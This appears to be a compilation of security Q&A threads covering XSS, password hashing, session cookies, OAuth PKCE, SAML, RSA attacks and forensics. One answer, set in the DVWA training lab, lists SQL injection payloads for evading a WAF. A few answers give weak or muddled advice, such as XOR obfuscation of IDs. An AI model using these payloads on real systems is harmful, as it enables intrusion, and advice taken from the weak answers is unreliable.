Lets say that siteA is vunerable to XSS.  Now in public_html folder, I have different sites and forms within their own folder.  So I might have

  www.mysite.com/siteB/index.php

If Site A is vunerable, can they do anything with Site B?

Thanks

XSS is not an attack on your application; it is an attack on your application's users.   As a rule, there is no specific threat to the server itself from XSS.

As you have a fairly simple application, you don't suffer from some of the more prominent issues XSS generally creates, like stealing authentication tokens and executing site functionality maliciously, however, that doesn't mean that you aren't at risk at all.

The biggest remaining threat is that of a watering hole attack.   That is, your site can now be used as a vector to attack users who trust it.   If your site is susceptible to reflective XSS, then an attacker can craft links that are legitimately for your site, that your users will trust, but when they use them to access your site, the XSS will inject malware into their systems.

This isn't as much of an issue any more, with the introduction of XSS protection in major browsers, but I wouldn't rely on this alone to protect your users.   Escape user input that is reflected back in order to prevent XSS in the first place.


Would it be a good approach to hash twice? Lets say I have a system in which I save the user's passwords using SHA-2. Now I was just wondering would it be a good approach if I take the MD5 hash of the password and then compute SHA-2 for the resultant MD5 hash? Are there any chances of duplications?

There is always a chances of duplication's but most of the time the chance is fairly low (but higher than you would think, look at the birthday 'paradox')

Hashing twice will not give huge amounts of extra security, it is the security of hash 1 + security of hash 2.

To increase the security of password hashes you should salt them, this is give each password an individual random string to be appended to the password each time it is hashed, this will remove the threat of a pre-calculated table (rainbow table) revealing the passwords.

As mentioned in the security now podcast, there is nothing wrong with hashing passwords multiple times, actually it is encouraged because if you want to change the hash that your passwords are encrypted with, you dont have to wait for the password to be entered again to hash it with the new hash, you can hash all the old hashes with the new hash. This gives everyone the security of the new hash immediately.

I would also like to point out that MD5 and SHA-2 are bad hash functions for passwords. Password hash functions should be 'slow' and MD5 was designed to be fast (I don't know about SHA-2), you should use functions like Argon2, bcrypt, scrypt, or PBKDF2 which are really hard to speed up.


Tools that check TLS client side There are so many tools such as testssl, sslyze to test the TLS configurations on webservers. I wanted to know, why aren't there any tool that checks the TLS client side? What makes it difficult?

It is unclear what you are trying to test exactly. But for browsers there is SSLLabs client test. One can also look at the ClientHello (contains all the supported ciphers, curves, hash algorithms ...).

...  wanted to know,

For anything which needs multiple handshakes (like determining supported protocol versions) one has to somehow instrument the client to do multiple handshakes. While this is possible for web browsers by using JavaScript, there is no standard way for anything else. That's why one cannot write a universal tool which deeply tests behavior of arbitrary TLS clients.


Is it possible to predict Python's random.random() if it is constantly seeded with high entropy values? I am interested in understanding if it is possible to predict Python 3 random.random() when seeded with high entropy value from a physical system, like a dice toss.

In other words, is random.random() a good function that takes "entropy" and reduces it to an unpredictable determinist bounded value or not?

From my understanding, it passes all randomness tests I found.

I am not interested in good practice and that it is better to use /dev/urandom, secrets or other sources of good random values. That is a known fact.

Things to consider:

The random generator is seeded with high entropy value and only used once to generate a single value from the initial state before being seeded again.
The generator is seeded with new seed for every number.
The seed has high entropy, something around 256 bits or entropy or more.

The reason I want to do this it that it allows me to use random.choise which is an extremely convenient way to transform a seed into a choice. Here's a rough implementation of the idea:

random.random is seeded with an high entropy seed.
random.choice is used.
random.random is seeded with a new high entropy seed.
random.choice is used.
...again and again.

Is the resulting choices list predictable?

If you reseed it after every time you draw a number, it will be as safe as whatever you reseed it with. Think of it like this. Your seed source generates a series of numbers xi. You run these through Pythons random number generator, essentialy generating a new series of numbers f(xi). Given that f doesen't scew the distribution (and a random number generator shouldn't), you will just have applied a pretty pointless transform.

This doesn't mean that what you are doing is a good idea. It  looks like an ugly hack to me. Ugly hacks introduces complexities that can lead to mistakes that can lead to vulnerabilities. If I were you, I would just write my own securePick method and use that. It shouldn't take many lines of code.


How is bcrypt able to generate secure random hashes? If someone nabs the hash from my db wouldn't they just be able to run it through bcrypt? Sorry for being such a noob, but I'm having a hard time wrapping my head around this. I am using bcrypt to encode plain text passwords into unique hashes before I store them in my database or authenticate. But the part I don't quite understand is that if someone were to gain access to my database and get the hashes, wouldn't they just be able to run them through bcrypt and turn them into plain text? Forgive my ignorance

No Bcrypt is a one way function- which means it is not computationally feasible to return the string back to the original value (read that as almost impossible). In otherwords once the plain text has been run through the function the output cannot be reversed. This is different to encryption which is two way.

Bcrypt is a type of Password Based Key Derivation Function which means its a method that is ideal for password storage compared to straight up hashing algorithms.

This page (http://preview.tinyurl.com/ya97mj9j) details more about web application password options and is aimed at beginners so may help you understand the different options and their related outputs.


What are the loop holes in SSH tunneling? I am working on React web app build on my local PC at port 443, and I want to make it accessible via internet for testing purposes. One solution that I came across was SSH remote port forwarding as mentioned in this article. My institute has one server that is publicly available and I can use to port forwarding but I am worried that I might put the institute's server into danger.

My question is what is the risk of doing such a thing? Is there any security I can set up on the institute's server to only giving access to the authenticated user to port forward?

My question is what is the risk of doing such thing

You are exposing an application running on an internal system to the wild internet. If a feature or bug in the application allows for example remote code execution then the attacker will be able to execute this code on your machine and thus inside your local network and thus might reach and attack internal systems in your network which should not be accessible from outside.

  ... only giving access to the authenticated user to port forward?

My initial interpretation of this question was that you as the one exposing the internal application wants to restrict which external users could connect to this forwarded port. But there is no authentication at this level, i.e. it is simply a TCP port which is reachable from outside for everybody. Any kind of authentication need to be done in your application. Only, this is then done again at your internal systems which means problems before or during authentication might again affect your whole internal network.

Based on your feedback it looks like you switched roles for this part of your question, i.e. no longer being the one which wants to make its application accessible but instead being the administrator who wants to prevents this. In general: if the user has only restricted access via SSH (can execute selected commands) then one can limit also the port forwarding (option no-port-forwarding in OpenSSH). If the user instead has full shell access he can work around such restrictions.

  is there any other way around without using third party apps like ngrok?

ngrok is not a simple broad port forwarding but instead allows to publish the application only for selected users by requiring authentication. If this restricted access is used the risk is greatly reduced, i.e. only users which know the URL and have the authentication credentials can connect. Still, if you cannot trust these users to keep these access credentials private and also to not attack your system then you should not do it.


What's stopping people from modifying cookies to change who they're logged in as? I'm developing a social network and to my knowledge, the best way of storing between pages which user is logged on is using cookies. So, suppose I'm storing a cookie of the user ID which is logged in.

Anyway, what's stopping the user from changing the cookie's value in order to trick the website into thinking they're logged in as someone else?

So, suppose I'm storing a cookie of the user ID which is logged in.

That's not how session cookies work. The cookie shoudn't just contain the ID of the current user since that would obviously allow an attacker to tamper with the value.

Instead, a common approach is that the web application issues a sufficiently long, random session ID to the user and internally associates this session ID with the actual user account. Since a user is then assigned a new session ID after each login, it won't be feasible to predict the session IDs of other users or manipulate user-specific values by modifying the cookie.

Generally, you shouldn't have to invent your own session management scheme. If you think about how to store a user ID in a cookie, you're probably doing it wrong. Many frameworks already provide abstractions for cookie-based sessions. E.g., PHP has built-in support for session handling. Also have a look at the OWASP Session Management Cheat Sheet to learn about security considerations.


"Username and/or Password Invalid" - Why do websites show this kind of message instead of informing the user which one was wrong? Lets say a user is logging into a typical site, entering their username and password, and they mistype one of their inputs. I have noticed that most, if not all, sites show the same message (something along the lines of, "Invalid username or password") despite only one input being wrong.

To me, it seems easy enough to notify the user of which input was wrong and this got me wondering why sites do not do it. So, is there a security reason for this or is it just something that has become the norm?

If a malicious user starts attacking a website by guessing common username/password combinations like admin/admin, the attacker would know that the username is valid is it returns a message of "Password invalid" instead of "Username or password invalid".

If an attacker knows the username is valid, he could concentrate his efforts on that particular account using techniques like SQL injections or bruteforcing the password.


Securing Isolated AWS Deployments to comply with HIPAA/HITECH HIPAA Security Hounds...How would you view an AWS deployment that included a set of systems deployed together at AWS (within a single, secured Virtual Private Cloud), using a key to encrypt all storage, and only allowing authenticated users to access anything related to the deployment, and using SSL certificates (or IPsec VPN) to encrypt all traffic to and from the server systems?

If that does comply with the laws regarding of data storage and transmission of HIPAA/HITECH, and the organization properly documents and trains it's employees, are there still "open doors" from a security standpoint that should be addressed?

I know we don't typically like links as answers and we don't offer legal advice, however, AWS has a white paper on HIPAA specifically at http://aws.amazon.com/about-aws/whats-new/2009/04/06/whitepaper-hipaa/.  The short answer is that Amazon believes it to be legally doable.


Difference between Knowledge-based IDS and behavior-based IDS I have difficulties in understanding the difference between Knowledge-based IDS and behavior-based IDS.

This link says that a knowledge-based IDS uses a database of specific attacks and system vulnerabilities, which is blacklist method, I think.
But what about a IDS that uses whitelist? Is this IDS still a Knowledge-based IDS?
(or a behavior-based IDS?)

Here is an example of a simple IDS, can someone tell me is this IDS a Knowledge-based IDS or a behavior-based IDS?

Example:

A simple IDS has a whitelist of all allowed personnel. And the whitelist looks like [alice, bob].

When alice or bob comes, no alarm is sound. But when jack comes, the intrusion alarm is triggered.

(you can also think alice, bob and jack as network packet IDs)

So, knowledge-based? behavior-based?

Knowledge-based is like a signature-based anti-virus: you populate a database of "badness" and look for those things.

Behaviour-based learns what is normal for the network over time, then alerts on things that are "weird".

Your whitelist approach is still "knowledge-based" because you populate the whitelist database. A behaviour-based approach would learn that Alice and Bob are normal users by watching the traffic.


How to do RSA same message attack? I found that I can attack texts that crypted by RSA with different public key, and same plain text.
But I can't find how to decrypt them.

So, how to attack them, and what is decrypted number?

Let m be the message. Let m1, m2, m3 be the modulus of the three public keys. Notice that all three of them have e = 3 as their public exponent.

The ciphertext for each recipient is computed as

We know each c_i, m_i and (m^3 mod m_i). We thus have three equations which describe the identity of m^3 in three modular rings.

We solve the system of equations using the Chinese Remainder Theorem (CRT). The CRT states in this case that the identity of m^3 modulo the product of all modului can be reconstructed by using the formula

Since we now know m^3, we can reconstruct m by computing the third root of m^3 over the integers. And thus we have reconstructed m.

This is also known as "low exponent attack" on RSA (wikipedia) and has been discussed on the crypto exchange before (here)


Is opportunistic encryption support optional for HTTP/2? I'm a little unclear on the subject of opportunistic encryption of the HTTP:// address scheme in HTTP/2.
According to the bug report, it looks like it's kinda optional, and an afterthought:
https://github.com/http2/http2-spec/issues/315
There's also a FAQ entry:
http://http2.github.io/faq/#does-http2-require-encryption

Does HTTP/2 require encryption?
No. After extensive discussion, the Working Group did not have consensus to require the use of encryption (e.g., TLS) for the new protocol.
However, some implementations have stated that they will only support HTTP/2 when it is used over an encrypted connection.

However, it's unclear how it relates to opportunistic encryption, where implementation would be [kinda] mandatory, but actual support [somewhat] optional.
However, according to IETF "Pervasive Monitoring Is an Attack", Best Current Practice 188, it would seem like opportunistic encryption is supposed to be made mandatory is all protocol designs:
http://tools.ietf.org/html/rfc7258
Is HTTP/2 being designed in violation of BCP 188, RFC 7258?

Yes, it appears optional.  According to http://daniel.haxx.se/blog/2015/03/06/tls-in-http2/, it was originally part of the HTTP/2 specification, but was later moved into its own spec as an extension of HTTP/2, http://tools.ietf.org/html/draft-ietf-httpbis-alt-svc-06.

It would appear that it was finally implemented in Mozilla in late 2014, and was finally enabled and will be shipping with Firefox 37.

https://bugzilla.mozilla.org/show_bug.cgi?id=1003448

https://bugzilla.mozilla.org/show_bug.cgi?id=1113790


Is it bad practice to remove a resolved report from Open Bug Bounty archive? An XSS vulnerability report was made via Open Bug Bounty, which was fixed, confirmed and a reward was made.

The reporter has marked the issue was resolved. They have further offered to remove the vulnerability from the Open Bug Bounty archive.

Being unfamiliar with Open Bug Bounty, I'm not sure if this is a good or a bad thing. The vulnerability was ethically reported in the open, so the fact that there was a report is already on the public record. The only reason I can think of to remove it is reputation protection, and even then it doesn't seem like a very strong reason.

My inclination is to leave it in the archive by default and that removal looks suspicious.

Is there a good reason to remove a report from the archive?

On the Open Bug Bounty website about page, it states:

  ...security researcher[s] can delete the vulnerability submission at any
  time before public disclosure of the vulnerability details. However,
  once disclosed, the submission can no longer be deleted to prevent
  undue pressure on the researchers. We never remove any information
  about vulnerabilities for political or business reasons.

The only real reason the reporter is offering to delete this report is likely because once the vulnerability publicly disclosed, it's public and cannot be deleted.

I can't think of any good reasons to have the report be deleted prior to public disclosure. There are plenty of good reasons to postpone a disclosure, but not to delete one.

Contact the reporter to confirm they have no other concerns about this report. While unlikely, they could have a legitimate reason to delay the public disclosure.

Best practice would be to go forward with public disclosure under your agreed disclosure timeline.

(That said, if the reporter chooses to delete the submission on their own volition without your input, that's their right according to how Open Bug Bounty is set up.)


Two Factor Authentication Multiple Devices Most websites (that I have seen) that implement two factor authentication don't support multiple two factor authentication devices linked to one account.

The biggest reasons I can think of for that are additional complexity of the two factor authentication system, and performance considerations. But I'm not sure if there are any security related concerns.

Is there any security related concerns for allowing users to have multiple two factor authentication devices linked to their account? Or is it just performance and complexity related concerns?

There's no back-end complexity issue with multiple 2FA devices. The issue is the trade-off between security and convenience, which is the age-old problem of authentication systems.

The "two factors" in two factor authentication are a thing you know (your memorized secret, or password) and a thing you have (your 2FA device, security key, etc). If you allow the thing you have to be many things, it significantly increases the chances of the thing that you are supposed to have is in the hands of someone else, which eliminates the advantage of having a second factor at all. Especially since the only reason you would ever need more than one device is if your primary 2FA device isn't where you are.

If your second factor device is a device with biometric capability (in other words, the fingerprint scanner on your phone), then your 2FA software of choice might use that to introduce a third authentication factor, a thing you are (your fingerprint, iris, voice or any other biometric measurement can be considered a thing you are authentication factor), which allows more confidence that the thing you have is truly only authenticating you, even if it's in an attackers hands. But either way, you're extending trust and risk beyond the minimum that's required to be most secure.

Of course, your threat model might mean that you judge the risk from having many devices able to authenticate you, potentially all in different places with different people able to physically access the something you are supposed to have, as an unimportant risk. As other comments have pointed out, many 2FA solutions will allow multiple devices. Use your own judgement as to whether the trade-off is acceptable for you.


How to use GPG to pass along encrypted content and double encrypt Say I have a document. I want to encrypt it, then give it to my friend, and I don't want them to be able to decrypt it. I want them to encrypt it again using their GPG system. Then to decrypt it my friend has to first decrypt it, send it to me, and I decrypt it.

How do I do that roughly with the GPG CLI? I am confused because there are 3 interrelated elements.

gpg --encrypt --sign --armor -r person@email.com -r foo@bar.com name_of_file

encrypt
sign
recipients

I amnot sure how they all relate or what they do exactly. Do I just encrypt it without signing and without recipients, pass it to my friend and they encrypt it without signing or adding recipients?

If you want to encrypt something twice, you can just call gpg twice:

<  name_of_file gpg --encrypt -r lance@email.com | gpg --encrypt -r friend@email.com > double-encrypted.gpg.gpg

Please note that the approach of encrypting a file for someone that they need to give you back doesn't make much (any?) sense. They receive an encrypted file, just to send you a (half-)decrypted copy (of something you already have), and in the end you need to send them the plaintext file anyway.

If what you want to do is to ensure that they need to contact you before decrypting it, you could give them a symmetrically encrypted file rather than one encrypted with your gpg key:

<  name_of_file gpg --cipher-algo aes --symmetric | gpg --encrypt -r friend@email.com > double-encrypted.gpg.gpg

This way you conceal the secret password (randomly generated, etc.) until when they need to decrypt it, and there's no need to send you back the file you already had.

I am skipping the signing part since you don't specify that you actually need signing, and you probably don't need it. I agree with Steffen Ullrich that it would be preferable that you stated you actual goal, rather than the way you wanted to solve it. Specifically, please note that this double-encryption doesn't preclude them from keeping a copy of the plaintext file and use it later on without your knowledge.


Difference between a behaviour-based security and traditional firewall? Difference between a behaviour-based security and traditional firewall? As I have searched the web and honestly cannot find anything about it.

A traditional firewall allows or denies something based on the rules you defined. Any traffic passing through there will be filtered by the rules. If you want to change something (to adapt to a new threat) you will have to alter your rules.

Behavior-based security systems are designed to 'learn' what patters of usage you have in our network. After a while, they determine how traffic behaves overall and make automatically some general rules to allow those learned patters. If something unusual appears in the network, there will be triggered alerts or denial of traffic depending on the configuration. For example, if the system finds that your average user sends 50 e-mail per day, it makes a rule for that. If a user suddenly sends 500 instead, it will be blocked or signaled as suspect.


Is Google prompt safer then authenticator app for 2-step verification? I guess authenticator app is safer then SMS because in app there is no data in transit once you setup your phone. Now, Google is pushing phone prompts as a replacement for authenticator app. Is it safer, considering that it implies data in transit?

Google is using push notifications for that service, I'm assuming.  This puts the security roughly equivalent to an SMS-based MFA.  As you point out, they both provide an opportunity for an attacker to intercept an authentication code destined for you, or to find some way to convince Google to send the code to them directly instead of your phone.

The security analysis of a push notification-based system versus an SMS-based system then is going to be up to the specifics of the transfer protocol (i.e. is it easier to intercept SMS traffic than push notifications, or vice versa).  This is the interesting question, and one I don't know the answer to.

However, neither is going to be much safer than the other, given the inherent limitations of a network-based authentication method for "something you have".  The difference between them and an HOTP/TOTP app, or a hardware MFA device, is much more, and in turn the difference between using any of these methods and using single-factor authentication is even larger.  So from a practical perspective I think the question, while interesting, doesn't matter: any form of MFA is better than not having one at all, and if you really care about your security, you should be using a non-network-based second factor.

I'd guess the primary reason Google is rolling this out is not for increased security over SMS 2FA, but ease of use (which means people are more likely to use it instead of forgoing MFA entirely).


Does PKCE replace state in the Authorization Code OAuth flow? PKCE explanation: https://www.oauth.com/oauth2-servers/pkce/

OAuth Flow example: https://developer.okta.com/docs/guides/implement-auth-code-pkce/use-flow/

My question is more specifically: Is there any reason to require state if PKCE is implemented?

state stops CSRF attacks by having the app server verify the state it gave the client is the same as the state the client gives it (after making the first OAuth request)

App Server generates random state for each unique client & gives to client
Client sends state to Auth Server, Auth Server returns with state & code
Client sends state and code to App Server
App Server ensures state in step 1 == state in step 2

However if you did this with CSRF:

App Server generates random code_challenge for each unique client & gives it to the client (we can ignore the optional hashing for now)
Client gives code_challenge to the Auth Server, Auth Server returns with code
Client sends code to App Server
App Server sends code & code_challenge in step 1 to Auth Server who verifies that code_challenge in step 1 == code_challenge in step 2

It seems like the exact same flow, except you have to store the code_challenge on your server instead of state being stored in either your server or the client's cookies and the end check is done by the Auth Server instead of the App Server.

The state is given back by the OAuth2 server in the redirected url, so the client app can verify that the request to open the authorization page was indeed triggered by itself.

The code_challenge is not given back by the OAuth2 server, but the client app must send the belonging code_verifier with the next request to exchange the authorization code for a token. The OAuth2 server can then be sure that it is the same client app which did the first request to open the authorization page.

Even if an attacker listened to the first request and the following redirect, (s)he cannot know the code_verifier, it is never sent over the wire. This makes it impossible to (mis)use the redirect and impersonate the client to get the token.

So yes both are required, the state makes the link between the open-authorization-page-request and the redirect, and the code_challenge makes the link between open-authorization-page-request and exchange-code-for-token-request.


Is a SIM card secure against governments? Let's say I live in Russia and I use Gmail. My Gmail has my phone number for recovery in case I lost my Gmail password.

Obviously if Russian police want to access my Gmail account then they can produce a SIM card for my name and receive the reset code.

So, there is not much to protect yourself. You need to keep your Gmail account secret so that they would not know for what account they'll make a reset.

But if I use a foreign SIM card, like a German SIM card, how secure would be my Gmail account? What do they need to get the reset code from my foreign SIM card? Assume that they have physical access to my SIM card, that the phone number is not printed on the SIM card, and the SIM card is protected with a 4 digit PIN.

The simplest answer to your question is: NO almost nothing (on the cloud) is secured from government.
To receive your reset code nobody needs to reproduce a SIM card or to have physical access to it neither to crack your 4 digits PIN, thanks to a weakness in the design of SS7 (Signalling System 7) that allows eavesdropping, interception, shadowing, real time tracking... for as cheap as 10$


DVWA: "Hacking attempt detected..." Hello and good evening,

i've recently tried to improve my pentesting skills and learn more about it with metasploitable 2. I am trying some things on the DVWA.
For the moment, i am learning the basics of Burp Suite (more precisely i am trying to learn more about the OWASP Top ten).

But i get stuck at SQL Injections in the DVWA SQLi section.
Whenever i run a command like:

  1' or '0'='0

I get redirected to a page saying:

  Hacking attempt detected and logged.

I've tried some evasion techniques, but none of them are working.
Am i doing something wrong? Someone has an advice?
I also tried the steps from: https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/index.html , but i get the same result running those commands...

(And please bear with me, i am into pentesting for 3-4 months now and first time using Burp/making SQLi attempts :) )

P.S. i found it is possible to make it work via disabling the PHPIDS, but i am interested on how to evade and bypass it too.

Maybe try using some alternative expressions to a query that checks whether 1=1? Some examples could be:

For instances when the 'OR' keyword is being caught by WAF:

1 && 1 = 1

1 || 1=1

For instances where the equlals sign (=) is being caught by WAF:

OR 2 between 3 and 1

or 2 > 1

or 1 < 2

For instances where integer-based comparison is triggering WAF:

OR 'lolol' = 'lol'+'ol'

OR 'LOL' > 'L'

OR 'LOL' = N'LOL'

I've never personally used DVWA (although I did go to university with Ryan Dewhurst, lol..) but these are just a few examples that come to mind. They're performing the same check as 1=1, just via alternative methods.


Is it possible to configure TLS/SSL in Nginx without persisting the private keys on disk? When you configure TLS in Nginx via ssl_certificate and ssl_certificate_key, you have to provide the keys as files. From my understanding it is generally best practice to avoid keeping private keys permanently on disk unless you have no other option.

Is it possible to configure Nginx so that no persistent files are needed and the keys are just kept in memory?

Not sure what Nginx does if you remove the files after the server has started. I have found one possible way to avoid keeping the keys on disk by using LUA based hooks (see ssl_certificate_by_lua_block), but I wonder if there is a simpler solution.

I'm unclear if the goal is to have a fixed set of certificates that are repeatedly used or if the intent is to have an NGINX server where the keys cannot be exploited if the server is compromised.

One alternative approach might be to use letsencrypt.org to automate certificate generation and with the correct set of scripts continuously refresh them.

A walkthrough for Ubuntu 16.04: https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-16-04


Understanding Prevention, Detection, and Protection I am always confused between Prevention, Detection, Protection. Which one is before the another? I'd say Prevention --> Detection --> Protection. Is that valid?

Generally, it's a circle, not a line.

Prevention means it stops before happening. But to stop it, you need Protection. To protect from something, you usually need to have the means to Detect it. And in order to detect it, you must know what to look for, which knowledge may be considered Prevention.


PCI payment gateway and store Consider situation:

I made my own payment gateway and it passes vulnerabity tests.

My store redirects to this payment gateway. Card details is collected there. Payment is processed there (not stored) and user is redirected back to our store.

So this works basically same as all payments gateways/processors like Paypal, SagePay, Cardinal etc.

Our online store don't event touch card details.

Is it PCI compilant?

Related question:
PCI Compilance - Custom payment processor

There isn't enough information here to know if it is PCI compliant.  Any system which HANDLES PCI must be PCI compliant, so your payment gateway has to meet PCI requirements.  As long as the payment gateway only passes a token in place of PCI data, then the PCI requirements should be limited to your payment gateway unless you are doing something odd.

If the question is about the store itself, then as long as it isn't handling PCI and is isolated from any systems handling PCI, then it wouldn't have to deal with PCI-DSS policies.  As far as your payment gateway goes, PCI compliance is a complex topic and a general question about if a system dealing with PCI is compliant is probably out of scope and too localized for the Q/A format.  I would recommend hiring a local PCI expert to take a look at your setup.


Will changing the 'Action' for Heartbleed signatures in PAN from 'alert' to 'drop' have any production impact in my organization? I have been seeing some Heart-bleed PAN alerts. I want to set the default action from 'alert' to 'drop'. But I am not sure if this would block some legitimate packets.

Since there are a vast number of teams, it is impossible to completely upgrade all servers.

My environment consists of hundreds of clients and servers.

Has anyone blocked heartbleed messages through their PAN (or any other firewall)? Any side effects?

Very much depends on the signature that is used to match the Heartbleed attack. Unfortunately, most do generate false positives. I have customers with Fortigates, where they have used the rule with a 5-minute quarantine action. Results were pretty bad, they practically DoS-ed hundreds of legitimate customers. But there's a difference between quarantine and a simple "drop" policy. Your case should be a milder one.

I'd like to suggest that you monitor that alert for a period of time, e.g. 1 week and investigate the alerts, and follow up with the alerts to examine whether these are coming from a legitimate source, or are malicious scans/attempts to exploit the bug.

Also suggest carrying out a pilot/trial with a smaller team over a limited period of time.


Why isn't OCSP required by default in browsers? According to the following screenshot, taken from firefox-3.6.17-1.fc14.i686, Firefox has an option to fail closed when unable to connect to OCSP servers.

Can someone please explain why this isn't enabled by default?

There are several problems with OCSP. Some of them:

It puts too strain on the OCSP responder (minor issue)
It makes your browser respond slower, as it has to ask the CA before visiting the site.
Privacy reasons: The CA gets the serial number requests for all the certificates you ask, so it can pinpoint which sites you visit. Who says it will not sell that data, do you trust it? Of course you are supposed to trust your CA, but...
There are some man-in-the-middle attacks targeting it (paper)
Also, the current implementation is somewhat weak. If an OCSP validation attempt fails (because the server does not respond for example), the browser has two choices: Continue anyway or fail hard and stop the connection to the site. Both of these choices are bad: If the browser ignores the fail, a possible attacker can mitm the server, if he has access to the potentially invalid certificate. If the browser stops the connection, then an attacker in the network can do a simple but effective Denial of Service attack, just by blocking somehow all OCSP requests.


Is winmail.dat a malware propagation vector? Some of my coworkers use Microsoft Outlook (I believe) and have it configured in such a way that mail attachments are encapsulated in winmail.dat files. Apart from the general annoyance and lack of interoperability, I would like to know whether there are arguments against this.
Has the concept of winmail.dat encapsulation been used by existing malware for their dissemination? Something masquerading as a winmail.dat container, or exploiting regular encapsulation in a winmail.dat? Or is the concept desperately secure/impossible to exploit?

Long answer: According to Microsoft, Winmail.dat is a file that keeps the rich-text formatting readable if sent by Outlook.  I have sniffed around a bit and found out that attachments that 'act' like the way Winmail.dat does exist.

Then again, since it's an attachment (and I hope you don't auto-open attachments from emails), you should only open it if you trust the person that send it to you, or have a good anti-virus that can scan your mail too.

Short answer: yes, attachment malware called winmail.dat exists, exploitation of a valid file is possible, because it basically contains theming.

More info on winmail.dat can be found on this website: http://support.microsoft.com/kb/278061


Why did I have to wave my hand in front of my ID card? I recently had to authenticate myself online to use an internet-based service. The authentication process was done via video call with me holding my ID card in front of my laptop camera beside my face. I also had to wiggle the ID card so the person on the other end of the video call could see the security features that are printed on the ID card.

Then the person asked me to wave my hand in front of the ID card, so that it was shortly fully covered by my hand several times.

What is this method supposed to achieve or is this just security theater?

Movement that blocks the view of the item under inspection helps to defeat someone trying to use an overlay image on the video as a replacement for the actual item.

For instance, I could take a short video of your ID (that shows the security features) and overlay that on the live video instead of my actual ID. But by waving my hand in front, then the remote viewer can see that it is not a video overlay.

A real threat? Yes. Just look at the fake videos that we have seen where someone can make it look like someone is saying something that they never did. The technology exists and is in use.

A credible threat? Questionable, but the mitigation is no cost, easy for all involved, and simple. So, the cost of mitigation is negligible.

That means that it is not "security theatre". It actually treats a risk. But I might agree that at this point in time, it might be borderline. Next year, I might have to edit this answer.


Why is SAML still used for enterprise SSO instead of OIDC? Im trying to wrap my head around the difference between SAML/OIDC/and OAuth
Is the only reason SAML is the most popular choice for enterprise SSO that its been around much longer? Is it expected to eventually be replaced by OIDC and OAuth for SSO OR is there something inherent to SAML that makes it better suited to SSO than OIDC and OAuth? SAML uses SOAP which has been pretty much 100% usurped by REST which OIDC uses so I would expect SAML to also be replaced by OIDC.
It seems like SAML includes support for authentication and authorization if the SP is written to read SAML attributes and use them to determine what access the user has.
Open ID Connect only supports authentication and must be used with OAuth to include authorization right? Does that make SAML easier to configure usually?
This isn't an open ended question about which is better, Im asking if SAML is inherently better suited for enterprise SSO or is only still popular for historical reasons. I've been reading articles like this one that say stuff like "Ideally, organizations are going to use both SAML as well as OIDC depending on the use case." and I don't understand why because the overlap for SSO use cases appears to be 100% to me. It feels like we are "stuck" with SAML because its more widely supported for enterprise systems- at least for now. Is that an accurate assessment?
EDIT: Trying to find more info about this and this article is really helpful especially, but this still confuses me:

"SAML is still our preferred approach and I think the best approach,
when a user is trying to get to a resource in a browser," says David
Meyer, vice president of product for OneLogin. "It is super-efficient
and super secure. People say SAML is dead, but we see it exponentially
increasing in adoption every year. Literally, exponentially."

I'm having trouble understanding what makes it better or more efficient and secure than OIDC with OAuth
The article also reminded me of Open ID 1.0 years ago and how it died. That death and resurrection as Open ID Connect was important historical context missing from the other articles I was reading.
Basically what I want to get to the bottom of is if the SSO use case can be fully serviced by OIDC at least as well as it is by SAML- Im pretty sure at this point it can be, but reading some confusing stuff about it.

I'm not sure this completely explains the enduring popularity of SAML, but it's worth noting that the SAML standard defines at least one scenario that OIDC does not: IDP-initiated authentication. This is when an originating application crafts a SAML response, signs it, and posts it to the partner application. In this setup, the originating app is the "IDP" (Identity Provider) but doesn't really need the typical amount of IDP infrastructure, but just the ability to craft the right SAML, sign it, and send the user on their way.
There are arguments to be made that IDP-initiated is less secure in a lot of scenarios, but the fact remains that it's simpler to implement for many teams.
Beyond that, my opinion is that the popularity of SAML is largely due to industry inertia: it works well and it's critical infrastructure so why take the risk of trying to replace it with something else.


Exposing UUID or BIGSERIAL Primary Keys Exposing primary keys is bad practice. How should I expose UUID or BIGSERIAL Primary Keys to clients — hashing, encoding, encrypting? For integers there are libraries like hashids, what about UUID?

UUIDs are just large integers written in a particular format. There are libraries that convert to and fro UUIDs, or you can check out answers such as this.

Once you have the integer, you can employ AES, or some reversible scheme such as a Feistel network or, if the user has no way of ever recovering the decrypted information, a simple XOR with a known secret.


WordPress Hacked. Deny access via admin - helpful or not? Does it actually help keep a site more secure to deny all access to WP admin and make changes directly on the FTP only?

Our WP has been hacked twice now. It seems that everyone has a different idea on how to keep WP secure and as a part of the security services we received one of the consultants recommended blocking all admin access.

Fast forward a few months and it's hard to manage guest content because we end of having to do it (guest writers don't know how to use the FTP, also we worry about providing access).

So we have 3 options:
- Keep blocked to all
- Allow only certain IPs
- Open access to all

I'm grateful for any guidance.

As Nick stated, you should really look through your logs and determine how your site was compromised to learn how to best mitigate it moving forward.

I don't believe blocking access to the admin will serve much good, except to inconvenience whoever has the job of maintaining it. I would hope the password was not guessed, and installing a plugin like All In One WP Security will mitigate brute force attacks.

If I had to hedge a bet I would guess (without any further details to what you've listed above) that either a vulnerability with your website was exploited (ie Timthumb vulnerability) or you have a security hole on the server that hosts the machine.

If you do limit admin access to local connections only you still may not mitigate the attack. Ask your security consultant to find the cause of the breach, and then work towards patching.


Can a FIDO U2F device be used for symmetric encryption? As I understand, U2F is mainly used for authentication. It uses challenge-response scheme to check if the device used for logging in is the same device which was used during registration based on shared secret. So the result of the process is a yes/no answer.

Is there a way to use U2F device for encrypting data in a symmetrical way, like a local password manager?

No, the U2F specified keys are not able to perform symmetric encryption operations. They are designed only for providing a public key, attestation certificate, and signing data for the challenge / response process with their internal private key. Specifications can be read at https://fidoalliance.org/specifications/overview/


Forensics live data collection The SANS institute recommends to perform a RAM image before trying to collect data from live systems (SANS Link).
I'm also following an online training where the trainer collects live data (processes list, network connections, ...) without performing first a RAM image.
In the latter case, are the evidences collected admissible in a court (if the case has to go that far)?

All the evidences collected could be accepted in a court.

But, the difference is the probative value of your analysis.

If you are mandated by a judge, your work and your expertise will have a very strong influence on future debates. Similarly, if you are accompanied by a bailiff who can attest to your actions during the analysis of the system, the legal aspect will be covered by his function and your analysis will have too a big influence.

Doing a RAM image when possible is a good practice, moreover, take a lot of informations from a live system is good manner to retrieve artifacts. If you can do a timeline between the two analyses you will have a good and clear idea of the system state during his last "power-on".

It's recommended to do a RAM image in first because you could alter the RAM during yours operations on the live system. And if you do the RAM image after,you will have some artifacts of yours operations and not of the system before your intervention.


